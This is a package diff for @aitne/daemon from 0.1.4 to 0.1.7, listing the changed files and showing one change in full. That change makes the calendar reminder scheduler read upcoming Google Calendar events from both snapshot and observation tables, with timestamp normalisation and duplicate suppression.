@aitne/daemon 0.1.4 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/adapters/notification-manager.d.ts +12 -0
- package/dist/adapters/notification-manager.d.ts.map +1 -1
- package/dist/adapters/notification-manager.js +39 -1
- package/dist/adapters/notification-manager.js.map +1 -1
- package/dist/api/routes/agent.d.ts.map +1 -1
- package/dist/api/routes/agent.js +7 -0
- package/dist/api/routes/agent.js.map +1 -1
- package/dist/api/routes/commands.d.ts.map +1 -1
- package/dist/api/routes/commands.js +16 -13
- package/dist/api/routes/commands.js.map +1 -1
- package/dist/api/routes/context.d.ts.map +1 -1
- package/dist/api/routes/context.js +13 -2
- package/dist/api/routes/context.js.map +1 -1
- package/dist/api/routes/dashboard.d.ts.map +1 -1
- package/dist/api/routes/dashboard.js +28 -0
- package/dist/api/routes/dashboard.js.map +1 -1
- package/dist/api/routes/fs.d.ts +23 -0
- package/dist/api/routes/fs.d.ts.map +1 -0
- package/dist/api/routes/fs.js +156 -0
- package/dist/api/routes/fs.js.map +1 -0
- package/dist/api/routes/fs.logic.d.ts +62 -0
- package/dist/api/routes/fs.logic.d.ts.map +1 -0
- package/dist/api/routes/fs.logic.js +137 -0
- package/dist/api/routes/fs.logic.js.map +1 -0
- package/dist/api/routes/health.d.ts.map +1 -1
- package/dist/api/routes/health.js +4 -2
- package/dist/api/routes/health.js.map +1 -1
- package/dist/api/routes/integrations.d.ts.map +1 -1
- package/dist/api/routes/integrations.js +8 -6
- package/dist/api/routes/integrations.js.map +1 -1
- package/dist/api/routes/metrics.d.ts +1 -0
- package/dist/api/routes/metrics.d.ts.map +1 -1
- package/dist/api/routes/metrics.js +24 -0
- package/dist/api/routes/metrics.js.map +1 -1
- package/dist/api/routes/observations.d.ts.map +1 -1
- package/dist/api/routes/observations.js +538 -25
- package/dist/api/routes/observations.js.map +1 -1
- package/dist/api/routes/skills.d.ts +9 -1
- package/dist/api/routes/skills.d.ts.map +1 -1
- package/dist/api/routes/skills.js +38 -16
- package/dist/api/routes/skills.js.map +1 -1
- package/dist/api/routes/wiki.d.ts +4 -0
- package/dist/api/routes/wiki.d.ts.map +1 -0
- package/dist/api/routes/wiki.js +1075 -0
- package/dist/api/routes/wiki.js.map +1 -0
- package/dist/api/server.d.ts +13 -0
- package/dist/api/server.d.ts.map +1 -1
- package/dist/api/server.js +27 -1
- package/dist/api/server.js.map +1 -1
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +26 -0
- package/dist/config.js.map +1 -1
- package/dist/core/agent-core.d.ts +25 -0
- package/dist/core/agent-core.d.ts.map +1 -1
- package/dist/core/agent-core.js.map +1 -1
- package/dist/core/backends/backend-router.d.ts +5 -1
- package/dist/core/backends/backend-router.d.ts.map +1 -1
- package/dist/core/backends/backend-router.js +10 -1
- package/dist/core/backends/backend-router.js.map +1 -1
- package/dist/core/backends/claude-code-core.d.ts.map +1 -1
- package/dist/core/backends/claude-code-core.js +62 -4
- package/dist/core/backends/claude-code-core.js.map +1 -1
- package/dist/core/backends/claude-tool-collection.d.ts +1 -1
- package/dist/core/backends/claude-tool-collection.d.ts.map +1 -1
- package/dist/core/backends/claude-tool-collection.js +327 -65
- package/dist/core/backends/claude-tool-collection.js.map +1 -1
- package/dist/core/backends/codex-core.d.ts.map +1 -1
- package/dist/core/backends/codex-core.js +36 -0
- package/dist/core/backends/codex-core.js.map +1 -1
- package/dist/core/backends/gemini-cli-core.d.ts +24 -5
- package/dist/core/backends/gemini-cli-core.d.ts.map +1 -1
- package/dist/core/backends/gemini-cli-core.js +62 -30
- package/dist/core/backends/gemini-cli-core.js.map +1 -1
- package/dist/core/backends/plan-presets.d.ts +3 -1
- package/dist/core/backends/plan-presets.d.ts.map +1 -1
- package/dist/core/backends/plan-presets.js +42 -2
- package/dist/core/backends/plan-presets.js.map +1 -1
- package/dist/core/bang-commands/commands-help.d.ts +5 -0
- package/dist/core/bang-commands/commands-help.d.ts.map +1 -0
- package/dist/core/bang-commands/commands-help.js +69 -0
- package/dist/core/bang-commands/commands-help.js.map +1 -0
- package/dist/core/bang-commands/commands-wiki.d.ts +75 -0
- package/dist/core/bang-commands/commands-wiki.d.ts.map +1 -0
- package/dist/core/bang-commands/commands-wiki.js +574 -0
- package/dist/core/bang-commands/commands-wiki.js.map +1 -0
- package/dist/core/bang-commands/index.d.ts +4 -2
- package/dist/core/bang-commands/index.d.ts.map +1 -1
- package/dist/core/bang-commands/index.js +15 -1
- package/dist/core/bang-commands/index.js.map +1 -1
- package/dist/core/bang-commands/registry.d.ts +47 -4
- package/dist/core/bang-commands/registry.d.ts.map +1 -1
- package/dist/core/bang-commands/registry.js +85 -15
- package/dist/core/bang-commands/registry.js.map +1 -1
- package/dist/core/context-builder.d.ts +17 -0
- package/dist/core/context-builder.d.ts.map +1 -1
- package/dist/core/context-builder.js +64 -6
- package/dist/core/context-builder.js.map +1 -1
- package/dist/core/daemon-api-cli.d.ts.map +1 -1
- package/dist/core/daemon-api-cli.js +50 -2
- package/dist/core/daemon-api-cli.js.map +1 -1
- package/dist/core/dispatcher-message-handler.d.ts.map +1 -1
- package/dist/core/dispatcher-message-handler.js +10 -0
- package/dist/core/dispatcher-message-handler.js.map +1 -1
- package/dist/core/dispatcher-morning-routine.d.ts.map +1 -1
- package/dist/core/dispatcher-morning-routine.js +17 -2
- package/dist/core/dispatcher-morning-routine.js.map +1 -1
- package/dist/core/dispatcher-result-processor.d.ts +23 -0
- package/dist/core/dispatcher-result-processor.d.ts.map +1 -1
- package/dist/core/dispatcher-result-processor.js +124 -5
- package/dist/core/dispatcher-result-processor.js.map +1 -1
- package/dist/core/dispatcher-scheduled-tasks.d.ts.map +1 -1
- package/dist/core/dispatcher-scheduled-tasks.js +114 -80
- package/dist/core/dispatcher-scheduled-tasks.js.map +1 -1
- package/dist/core/dispatcher-types.d.ts +116 -1
- package/dist/core/dispatcher-types.d.ts.map +1 -1
- package/dist/core/dispatcher-types.js.map +1 -1
- package/dist/core/dispatcher.d.ts +36 -0
- package/dist/core/dispatcher.d.ts.map +1 -1
- package/dist/core/dispatcher.js +94 -1
- package/dist/core/dispatcher.js.map +1 -1
- package/dist/core/integration-lifecycle.d.ts.map +1 -1
- package/dist/core/integration-lifecycle.js +6 -8
- package/dist/core/integration-lifecycle.js.map +1 -1
- package/dist/core/metrics.d.ts +127 -0
- package/dist/core/metrics.d.ts.map +1 -1
- package/dist/core/metrics.js +256 -1
- package/dist/core/metrics.js.map +1 -1
- package/dist/core/prompts.d.ts +2 -1
- package/dist/core/prompts.d.ts.map +1 -1
- package/dist/core/prompts.js +40 -0
- package/dist/core/prompts.js.map +1 -1
- package/dist/core/roadmap-validate.js +13 -1
- package/dist/core/roadmap-validate.js.map +1 -1
- package/dist/core/routine-acquisition-plan.d.ts +51 -0
- package/dist/core/routine-acquisition-plan.d.ts.map +1 -1
- package/dist/core/routine-acquisition-plan.js +111 -12
- package/dist/core/routine-acquisition-plan.js.map +1 -1
- package/dist/core/routine-fetch-window-retry.d.ts +109 -0
- package/dist/core/routine-fetch-window-retry.d.ts.map +1 -0
- package/dist/core/routine-fetch-window-retry.js +210 -0
- package/dist/core/routine-fetch-window-retry.js.map +1 -0
- package/dist/core/routine-fetch-window-runner.d.ts +258 -32
- package/dist/core/routine-fetch-window-runner.d.ts.map +1 -1
- package/dist/core/routine-fetch-window-runner.js +1115 -185
- package/dist/core/routine-fetch-window-runner.js.map +1 -1
- package/dist/core/routine-windows.d.ts +19 -4
- package/dist/core/routine-windows.d.ts.map +1 -1
- package/dist/core/routine-windows.js +47 -0
- package/dist/core/routine-windows.js.map +1 -1
- package/dist/core/scheduler.d.ts +50 -2
- package/dist/core/scheduler.d.ts.map +1 -1
- package/dist/core/scheduler.js +88 -7
- package/dist/core/scheduler.js.map +1 -1
- package/dist/core/skill-curation/declarations.d.ts.map +1 -1
- package/dist/core/skill-curation/declarations.js +11 -12
- package/dist/core/skill-curation/declarations.js.map +1 -1
- package/dist/core/skill-source-paths.d.ts +14 -0
- package/dist/core/skill-source-paths.d.ts.map +1 -0
- package/dist/core/skill-source-paths.js +82 -0
- package/dist/core/skill-source-paths.js.map +1 -0
- package/dist/core/skills-compiler.d.ts +18 -0
- package/dist/core/skills-compiler.d.ts.map +1 -1
- package/dist/core/skills-compiler.js +65 -18
- package/dist/core/skills-compiler.js.map +1 -1
- package/dist/core/skills-manifest.d.ts.map +1 -1
- package/dist/core/skills-manifest.js +46 -0
- package/dist/core/skills-manifest.js.map +1 -1
- package/dist/core/system-reset.d.ts +25 -0
- package/dist/core/system-reset.d.ts.map +1 -1
- package/dist/core/system-reset.js +47 -0
- package/dist/core/system-reset.js.map +1 -1
- package/dist/core/wiki/approval-queue.d.ts +31 -0
- package/dist/core/wiki/approval-queue.d.ts.map +1 -0
- package/dist/core/wiki/approval-queue.js +44 -0
- package/dist/core/wiki/approval-queue.js.map +1 -0
- package/dist/core/wiki/bridge.d.ts +74 -0
- package/dist/core/wiki/bridge.d.ts.map +1 -0
- package/dist/core/wiki/bridge.js +405 -0
- package/dist/core/wiki/bridge.js.map +1 -0
- package/dist/core/wiki/compile-lock.d.ts +42 -0
- package/dist/core/wiki/compile-lock.d.ts.map +1 -0
- package/dist/core/wiki/compile-lock.js +55 -0
- package/dist/core/wiki/compile-lock.js.map +1 -0
- package/dist/core/wiki/compile-preview.d.ts +8 -0
- package/dist/core/wiki/compile-preview.d.ts.map +1 -0
- package/dist/core/wiki/compile-preview.js +200 -0
- package/dist/core/wiki/compile-preview.js.map +1 -0
- package/dist/core/wiki/cost-estimate.d.ts +30 -0
- package/dist/core/wiki/cost-estimate.d.ts.map +1 -0
- package/dist/core/wiki/cost-estimate.js +243 -0
- package/dist/core/wiki/cost-estimate.js.map +1 -0
- package/dist/core/wiki/dispatcher.d.ts +48 -0
- package/dist/core/wiki/dispatcher.d.ts.map +1 -0
- package/dist/core/wiki/dispatcher.js +92 -0
- package/dist/core/wiki/dispatcher.js.map +1 -0
- package/dist/core/wiki/git-precompile.d.ts +86 -0
- package/dist/core/wiki/git-precompile.d.ts.map +1 -0
- package/dist/core/wiki/git-precompile.js +96 -0
- package/dist/core/wiki/git-precompile.js.map +1 -0
- package/dist/core/wiki/import-migrate.d.ts +38 -0
- package/dist/core/wiki/import-migrate.d.ts.map +1 -0
- package/dist/core/wiki/import-migrate.js +310 -0
- package/dist/core/wiki/import-migrate.js.map +1 -0
- package/dist/core/wiki/import-probe.d.ts +76 -0
- package/dist/core/wiki/import-probe.d.ts.map +1 -0
- package/dist/core/wiki/import-probe.js +245 -0
- package/dist/core/wiki/import-probe.js.map +1 -0
- package/dist/core/wiki/index-cache.d.ts +39 -0
- package/dist/core/wiki/index-cache.d.ts.map +1 -0
- package/dist/core/wiki/index-cache.js +152 -0
- package/dist/core/wiki/index-cache.js.map +1 -0
- package/dist/core/wiki/multi-url-dispatch.d.ts +52 -0
- package/dist/core/wiki/multi-url-dispatch.d.ts.map +1 -0
- package/dist/core/wiki/multi-url-dispatch.js +72 -0
- package/dist/core/wiki/multi-url-dispatch.js.map +1 -0
- package/dist/core/wiki/wiki-fts.d.ts +75 -0
- package/dist/core/wiki/wiki-fts.d.ts.map +1 -0
- package/dist/core/wiki/wiki-fts.js +265 -0
- package/dist/core/wiki/wiki-fts.js.map +1 -0
- package/dist/core/wiki/workspaces.d.ts +101 -0
- package/dist/core/wiki/workspaces.d.ts.map +1 -0
- package/dist/core/wiki/workspaces.js +352 -0
- package/dist/core/wiki/workspaces.js.map +1 -0
- package/dist/core/wiki/write-strategy.d.ts +70 -0
- package/dist/core/wiki/write-strategy.d.ts.map +1 -0
- package/dist/core/wiki/write-strategy.js +112 -0
- package/dist/core/wiki/write-strategy.js.map +1 -0
- package/dist/core/workdir.d.ts +8 -1
- package/dist/core/workdir.d.ts.map +1 -1
- package/dist/core/workdir.js +4 -1
- package/dist/core/workdir.js.map +1 -1
- package/dist/db/schema.d.ts.map +1 -1
- package/dist/db/schema.js +122 -0
- package/dist/db/schema.js.map +1 -1
- package/dist/db/wiki-store.d.ts +3 -0
- package/dist/db/wiki-store.d.ts.map +1 -0
- package/dist/db/wiki-store.js +7 -0
- package/dist/db/wiki-store.js.map +1 -0
- package/dist/index.js +87 -4
- package/dist/index.js.map +1 -1
- package/dist/messaging/setup-welcome-dm.d.ts +30 -0
- package/dist/messaging/setup-welcome-dm.d.ts.map +1 -0
- package/dist/messaging/setup-welcome-dm.js +86 -0
- package/dist/messaging/setup-welcome-dm.js.map +1 -0
- package/dist/messaging/url-extract.d.ts +8 -0
- package/dist/messaging/url-extract.d.ts.map +1 -0
- package/dist/messaging/url-extract.js +41 -0
- package/dist/messaging/url-extract.js.map +1 -0
- package/dist/observers/delegated-sync-worker.d.ts +33 -25
- package/dist/observers/delegated-sync-worker.d.ts.map +1 -1
- package/dist/observers/delegated-sync-worker.js +38 -31
- package/dist/observers/delegated-sync-worker.js.map +1 -1
- package/dist/observers/imminent-event-scheduler.d.ts +20 -7
- package/dist/observers/imminent-event-scheduler.d.ts.map +1 -1
- package/dist/observers/imminent-event-scheduler.js +134 -29
- package/dist/observers/imminent-event-scheduler.js.map +1 -1
- package/dist/safety/always-disallowed.d.ts +65 -0
- package/dist/safety/always-disallowed.d.ts.map +1 -1
- package/dist/safety/always-disallowed.js +106 -10
- package/dist/safety/always-disallowed.js.map +1 -1
- package/dist/safety/audit.d.ts +46 -1
- package/dist/safety/audit.d.ts.map +1 -1
- package/dist/safety/audit.js +79 -16
- package/dist/safety/audit.js.map +1 -1
- package/dist/safety/risk-classifier.d.ts.map +1 -1
- package/dist/safety/risk-classifier.js +29 -0
- package/dist/safety/risk-classifier.js.map +1 -1
- package/dist/settings/runtime-settings.d.ts +12 -1
- package/dist/settings/runtime-settings.d.ts.map +1 -1
- package/dist/settings/runtime-settings.js +59 -1
- package/dist/settings/runtime-settings.js.map +1 -1
- package/package.json +2 -2
|
@@ -1,22 +1,45 @@
|
|
|
1
1
|
import { createEvent, EventPriority, } from "@aitne/shared";
|
|
2
2
|
import { createLogger } from "../logging.js";
|
|
3
3
|
const logger = createLogger("imminent-event-scheduler");
|
|
4
|
+
function extractCalendarPayload(parsed) {
|
|
5
|
+
// Observation `raw.title` wins for native rows; snapshot `summary` wins
|
|
6
|
+
// for direct / delegated rows. The two writers never produce both keys,
|
|
7
|
+
// so the precedence is informational rather than collision-resolving.
|
|
8
|
+
const raw = parsed.raw ?? undefined;
|
|
9
|
+
const title = raw?.title ?? raw?.summary ?? parsed.summary ?? null;
|
|
10
|
+
const start = raw?.start ?? parsed.start ?? null;
|
|
11
|
+
const end = raw?.end ?? parsed.end ?? null;
|
|
12
|
+
return { title, start, end };
|
|
13
|
+
}
|
|
4
14
|
/**
|
|
5
15
|
* 15-minute imminent-meeting reminder emitter.
|
|
6
16
|
*
|
|
7
|
-
* Reads
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
* (
|
|
12
|
-
*
|
|
17
|
+
* Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
|
|
18
|
+
* and emits one `schedule.approaching` event per item via the EventBus:
|
|
19
|
+
*
|
|
20
|
+
* - `integration_snapshots` rows for `integration = 'google_calendar'` —
|
|
21
|
+
* populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
|
|
22
|
+
* (delegated mode).
|
|
23
|
+
* - `observations` rows for `source LIKE 'google_calendar:%'` — populated
|
|
24
|
+
* by the agent's `/api/observations` POSTs during the native-mode
|
|
25
|
+
* `routine.fetch_window` pre-pass (`imminent_2h` window). In native
|
|
26
|
+
* mode the daemon does NOT poll and integration_snapshots stays empty
|
|
27
|
+
* by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
|
|
28
|
+
* without this second source, native-mode users would silently lose
|
|
29
|
+
* every 15-minute reminder. Cadence note: native observations refresh
|
|
30
|
+
* on the hourly_check tick (60-min cadence) so events scheduled with
|
|
31
|
+
* less than ~60 min lead-time may miss their reminder. The 5-min
|
|
32
|
+
* direct-mode polling cadence does not have this limit.
|
|
13
33
|
*
|
|
14
34
|
* INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
|
|
15
35
|
* Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
|
|
16
36
|
* every imminent event in flight. The new `imminent_event_notifications`
|
|
17
37
|
* table records `(item_id, notified_at)` on each emit and is consulted
|
|
18
38
|
* before each tick. Retention prunes rows older than 24 h via
|
|
19
|
-
* retention.ts.
|
|
39
|
+
* retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
|
|
40
|
+
* observation `ref` both use the provider's stable event id, so the
|
|
41
|
+
* same row in both tables resolves to a single `imminent_event_notifications`
|
|
42
|
+
* entry.
|
|
20
43
|
*/
|
|
21
44
|
export class ImminentEventScheduler {
|
|
22
45
|
db;
|
|
@@ -48,44 +71,125 @@ export class ImminentEventScheduler {
|
|
|
48
71
|
async tick() {
|
|
49
72
|
const now = this.now();
|
|
50
73
|
const max = new Date(now.getTime() + 15 * 60 * 1000);
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
//
|
|
54
|
-
//
|
|
74
|
+
const nowIso = now.toISOString();
|
|
75
|
+
const maxIso = max.toISOString();
|
|
76
|
+
// UNION ALL across the two writers (snapshot table for direct /
|
|
77
|
+
// delegated; observations table for native). LEFT-JOIN against the
|
|
78
|
+
// dedup table at the outer level so a row already notified is
|
|
79
|
+
// skipped regardless of which source produced it. Cross-source
|
|
80
|
+
// duplicates (same provider event id appearing in both tables, e.g.
|
|
81
|
+
// briefly during a mode flip) collapse via the JS-side `seen` set
|
|
82
|
+
// below — we emit at most one `schedule.approaching` event per
|
|
83
|
+
// item_id even if both queries surface it.
|
|
84
|
+
//
|
|
85
|
+
// The observation branch is keyed by `o.consumed_at IS NULL` so we
|
|
86
|
+
// don't fire reminders for events the morning routine already
|
|
87
|
+
// consumed (the pending-observations filter). Direct/delegated
|
|
88
|
+
// snapshots have no consumed_at column — the writer reconciles
|
|
89
|
+
// in-place, so the snapshot row always reflects the current state.
|
|
90
|
+
// Timestamp normalisation rationale (Issue A1, 2026-05-13).
|
|
91
|
+
//
|
|
92
|
+
// Snapshot path: the writer normalises `item_start` to UTC ISO with
|
|
93
|
+
// Z suffix via `normalizeTimeForRange` (integrations-snapshot.ts)
|
|
94
|
+
// before insert, so raw string compare on snapshots is correct AND
|
|
95
|
+
// can use the `idx_integration_snapshots_imminent` covering index
|
|
96
|
+
// (a `datetime()` wrapper would block the index per SQLite's
|
|
97
|
+
// "expressions on indexed column" rule).
|
|
98
|
+
//
|
|
99
|
+
// Observation path: the writer is the agent's `/api/observations`
|
|
100
|
+
// POST — the partial's contract is "the response from the upstream
|
|
101
|
+
// call IS the payload, do not summarise or rank", so the start
|
|
102
|
+
// timestamp inherits whatever format the bound Calendar MCP
|
|
103
|
+
// emitted. Google Calendar MCPs typically return RFC 3339 with
|
|
104
|
+
// timezone offset (`2026-04-29T08:00:00-04:00`). A lexicographic
|
|
105
|
+
// compare of those against the UTC-Z `now.toISOString()` parameter
|
|
106
|
+
// mis-orders rows across the dateline / DST boundary and silently
|
|
107
|
+
// drops imminent reminders. SQLite's `datetime()` normalises both
|
|
108
|
+
// forms to the canonical `'YYYY-MM-DD HH:MM:SS'` UTC string; NULL
|
|
109
|
+
// / unparseable inputs return NULL which the WHERE filter
|
|
110
|
+
// discards.
|
|
111
|
+
//
|
|
112
|
+
// ORDER BY: `datetime()`-normalised on both sides so the
|
|
113
|
+
// cross-source dedup case (snapshot + observation rows for the
|
|
114
|
+
// same event id appearing during a mode flip) deterministically
|
|
115
|
+
// picks the same winner regardless of which format the
|
|
116
|
+
// observation row carries. The set ordered here is already
|
|
117
|
+
// narrowed by the WHERE filter to rows in [now, now+15min] — a
|
|
118
|
+
// handful, not the full table — so the per-row `datetime()` cost
|
|
119
|
+
// is negligible.
|
|
55
120
|
const rows = this.db
|
|
56
|
-
.prepare(`SELECT
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
121
|
+
.prepare(`SELECT candidates.source_kind AS source_kind,
|
|
122
|
+
candidates.item_id AS item_id,
|
|
123
|
+
candidates.payload_json AS payload_json,
|
|
124
|
+
candidates.item_start AS item_start
|
|
125
|
+
FROM (
|
|
126
|
+
SELECT 'snapshot' AS source_kind,
|
|
127
|
+
s.item_id AS item_id,
|
|
128
|
+
s.payload_json AS payload_json,
|
|
129
|
+
s.item_start AS item_start
|
|
130
|
+
FROM integration_snapshots s
|
|
131
|
+
WHERE s.integration = 'google_calendar'
|
|
132
|
+
AND s.item_start IS NOT NULL
|
|
133
|
+
AND s.item_start > ?
|
|
134
|
+
AND s.item_start <= ?
|
|
135
|
+
UNION ALL
|
|
136
|
+
SELECT 'observation' AS source_kind,
|
|
137
|
+
o.ref AS item_id,
|
|
138
|
+
o.payload AS payload_json,
|
|
139
|
+
json_extract(o.payload, '$.raw.start') AS item_start
|
|
140
|
+
FROM observations o
|
|
141
|
+
WHERE o.source LIKE 'google_calendar:%'
|
|
142
|
+
AND o.consumed_at IS NULL
|
|
143
|
+
-- json_valid guards against the SQLite json_extract runtime
|
|
144
|
+
-- error when the payload column happens to contain non-JSON
|
|
145
|
+
-- text. The agent's /api/observations POST handler rejects
|
|
146
|
+
-- malformed bodies, so production never hits this branch.
|
|
147
|
+
-- The gate matches the snapshot path's recovery contract:
|
|
148
|
+
-- skip the row, do NOT write a dedup entry, let the next
|
|
149
|
+
-- tick reprocess if the upstream row gets repaired.
|
|
150
|
+
AND json_valid(o.payload) = 1
|
|
151
|
+
AND json_extract(o.payload, '$.kind') = 'calendar'
|
|
152
|
+
AND json_extract(o.payload, '$.raw.start') IS NOT NULL
|
|
153
|
+
AND datetime(json_extract(o.payload, '$.raw.start')) > datetime(?)
|
|
154
|
+
AND datetime(json_extract(o.payload, '$.raw.start')) <= datetime(?)
|
|
155
|
+
) AS candidates
|
|
60
156
|
LEFT JOIN imminent_event_notifications n
|
|
61
|
-
ON n.item_id =
|
|
62
|
-
WHERE
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
AND s.item_start <= ?
|
|
66
|
-
AND n.notified_at IS NULL
|
|
67
|
-
ORDER BY s.item_start ASC`)
|
|
68
|
-
.all(now.toISOString(), max.toISOString());
|
|
157
|
+
ON n.item_id = candidates.item_id
|
|
158
|
+
WHERE n.notified_at IS NULL
|
|
159
|
+
ORDER BY datetime(candidates.item_start) ASC`)
|
|
160
|
+
.all(nowIso, maxIso, nowIso, maxIso);
|
|
69
161
|
if (rows.length === 0)
|
|
70
162
|
return;
|
|
71
163
|
const insertNotification = this.db.prepare(`INSERT INTO imminent_event_notifications (item_id, notified_at)
|
|
72
164
|
VALUES (?, ?)
|
|
73
165
|
ON CONFLICT(item_id) DO NOTHING`);
|
|
166
|
+
// Cross-source dedup: the snapshot writer and the observation writer
|
|
167
|
+
// can briefly carry the same provider event id during a direct↔native
|
|
168
|
+
// mode flip (snapshot purge is best-effort, agent posts happen in-turn).
|
|
169
|
+
// The DB-level `imminent_event_notifications` dedup catches this once
|
|
170
|
+
// the first row is processed, but on a single tick where both rows
|
|
171
|
+
// pass the WHERE filter we'd otherwise emit twice before the INSERT
|
|
172
|
+
// commits. Track item_ids in-loop and skip the second occurrence.
|
|
173
|
+
const seen = new Set();
|
|
74
174
|
for (const row of rows) {
|
|
175
|
+
if (seen.has(row.item_id))
|
|
176
|
+
continue;
|
|
177
|
+
seen.add(row.item_id);
|
|
75
178
|
const startMs = Date.parse(row.item_start);
|
|
76
179
|
if (!Number.isFinite(startMs))
|
|
77
180
|
continue;
|
|
78
181
|
const minutesUntil = (startMs - now.getTime()) / 60_000;
|
|
79
182
|
if (minutesUntil <= 0 || minutesUntil > 15)
|
|
80
183
|
continue;
|
|
81
|
-
let
|
|
184
|
+
let parsed;
|
|
82
185
|
try {
|
|
83
|
-
|
|
186
|
+
parsed = JSON.parse(row.payload_json);
|
|
84
187
|
}
|
|
85
188
|
catch (err) {
|
|
86
|
-
logger.warn({ err, itemId: row.item_id }, "Skipping imminent event with invalid
|
|
189
|
+
logger.warn({ err, itemId: row.item_id, sourceKind: row.source_kind }, "Skipping imminent event with invalid payload");
|
|
87
190
|
continue;
|
|
88
191
|
}
|
|
192
|
+
const payload = extractCalendarPayload(parsed);
|
|
89
193
|
// Mark notified BEFORE the EventBus put. If the put throws, a
|
|
90
194
|
// duplicate emit on the next tick is preferable to losing the row
|
|
91
195
|
// here, but the put path itself is in-memory and synchronous —
|
|
@@ -101,14 +205,14 @@ export class ImminentEventScheduler {
|
|
|
101
205
|
priority: EventPriority.HIGH,
|
|
102
206
|
data: {
|
|
103
207
|
calendarEventId: row.item_id,
|
|
104
|
-
summary: payload.
|
|
208
|
+
summary: payload.title ?? "",
|
|
105
209
|
startTime: payload.start ?? row.item_start,
|
|
106
210
|
endTime: payload.end ?? null,
|
|
107
211
|
minutesUntil: Math.round(minutesUntil),
|
|
108
212
|
},
|
|
109
213
|
}),
|
|
110
214
|
calendarId: this.calendarId,
|
|
111
|
-
eventTitle: payload.
|
|
215
|
+
eventTitle: payload.title ?? "Untitled Event",
|
|
112
216
|
startTime: new Date(startMs),
|
|
113
217
|
endTime: payload.end ? new Date(payload.end) : null,
|
|
114
218
|
changeType: "approaching",
|
|
@@ -116,7 +220,8 @@ export class ImminentEventScheduler {
|
|
|
116
220
|
await this.eventBus.put(event);
|
|
117
221
|
logger.info({
|
|
118
222
|
itemId: row.item_id,
|
|
119
|
-
|
|
223
|
+
sourceKind: row.source_kind,
|
|
224
|
+
event: payload.title,
|
|
120
225
|
minutesUntil: Math.round(minutesUntil),
|
|
121
226
|
}, "Approaching calendar event");
|
|
122
227
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AACA,OAAO,EACL,WAAW,EACX,aAAa,GAEd,MAAM,eAAe,CAAC;AAGvB,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAE7C,MAAM,MAAM,GAAG,YAAY,CAAC,0BAA0B,CAAC,CAAC;
|
|
1
|
+
{"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AACA,OAAO,EACL,WAAW,EACX,aAAa,GAEd,MAAM,eAAe,CAAC;AAGvB,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAE7C,MAAM,MAAM,GAAG,YAAY,CAAC,0BAA0B,CAAC,CAAC;AAgDxD,SAAS,sBAAsB,CAAC,MAAuB;IAKrD,wEAAwE;IACxE,wEAAwE;IACxE,sEAAsE;IACtE,MAAM,GAAG,GAAG,MAAM,CAAC,GAAG,IAAI,SAAS,CAAC;IACpC,MAAM,KAAK,GAAG,GAAG,EAAE,KAAK,IAAI,GAAG,EAAE,OAAO,IAAI,MAAM,CAAC,OAAO,IAAI,IAAI,CAAC;IACnE,MAAM,KAAK,GAAG,GAAG,EAAE,KAAK,IAAI,MAAM,CAAC,KAAK,IAAI,IAAI,CAAC;IACjD,MAAM,GAAG,GAAG,GAAG,EAAE,GAAG,IAAI,MAAM,CAAC,GAAG,IAAI,IAAI,CAAC;IAC3C,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC;AAC/B,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6BG;AACH,MAAM,OAAO,sBAAsB;IAMd;IACA;IACA;IACA;IACA;IATV,IAAI,GAAG,0BAA0B,CAAC;IAEnC,KAAK,GAA0C,IAAI,CAAC;IAE5D,YACmB,EAAqB,EACrB,QAAkB,EAClB,UAAkB,EAClB,kBAAkB,EAAE,EACpB,MAAkB,GAAG,EAAE,CAAC,IAAI,IAAI,EAAE;QAJlC,OAAE,GAAF,EAAE,CAAmB;QACrB,aAAQ,GAAR,QAAQ,CAAU;QAClB,eAAU,GAAV,UAAU,CAAQ;QAClB,oBAAe,GAAf,eAAe,CAAK;QACpB,QAAG,GAAH,GAAG,CAA+B;IAClD,CAAC;IAEJ,KAAK,CAAC,KAAK;QACT,MAAM,IAAI,CAAC,IAAI,EAAE,CAAC;QAClB,IAAI,CAAC,KAAK,GAAG,WAAW,CACtB,GAAG,EAAE,CAAC,KAAK,IAAI,CAAC,IAAI,EAAE,EACtB,IAAI,CAAC,eAAe,GAAG,IAAI,CAC5B,CAAC;QACF,MAAM,CAAC,IAAI,CACT,EAAE,eAAe,EAAE,IAAI,CAAC,eAAe,EAAE,EACzC,kCAAkC,CACnC,CAAC;IACJ,CAAC;IAED,KAAK,CAAC,IAAI;QACR,IAAI,IAAI,CAAC,KAAK,EAAE,CAAC;YACf,aAAa,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;YAC1B,IAAI,CAAC,KAAK,GAAG,IAAI,CAAC;QACpB,CAAC;QACD,MAAM,CAAC,IAAI,CAAC,kCAAkC,CAAC,CAAC;IAClD,CAAC;IAED,KAAK,CAAC,IAAI;QACR,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QACvB,MAAM,GAAG,GAAG,IAAI,IAAI,CAAC,GAAG,CAAC,OAAO,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC,CAAC;QACrD,MAAM,MAAM,GAAG,GAAG,CAAC,WAAW,EAAE,CAAC;QACjC,MAAM,MAAM,GAAG,GAAG,CAAC,WAAW,EAAE,CAAC;QACjC,gEAAgE;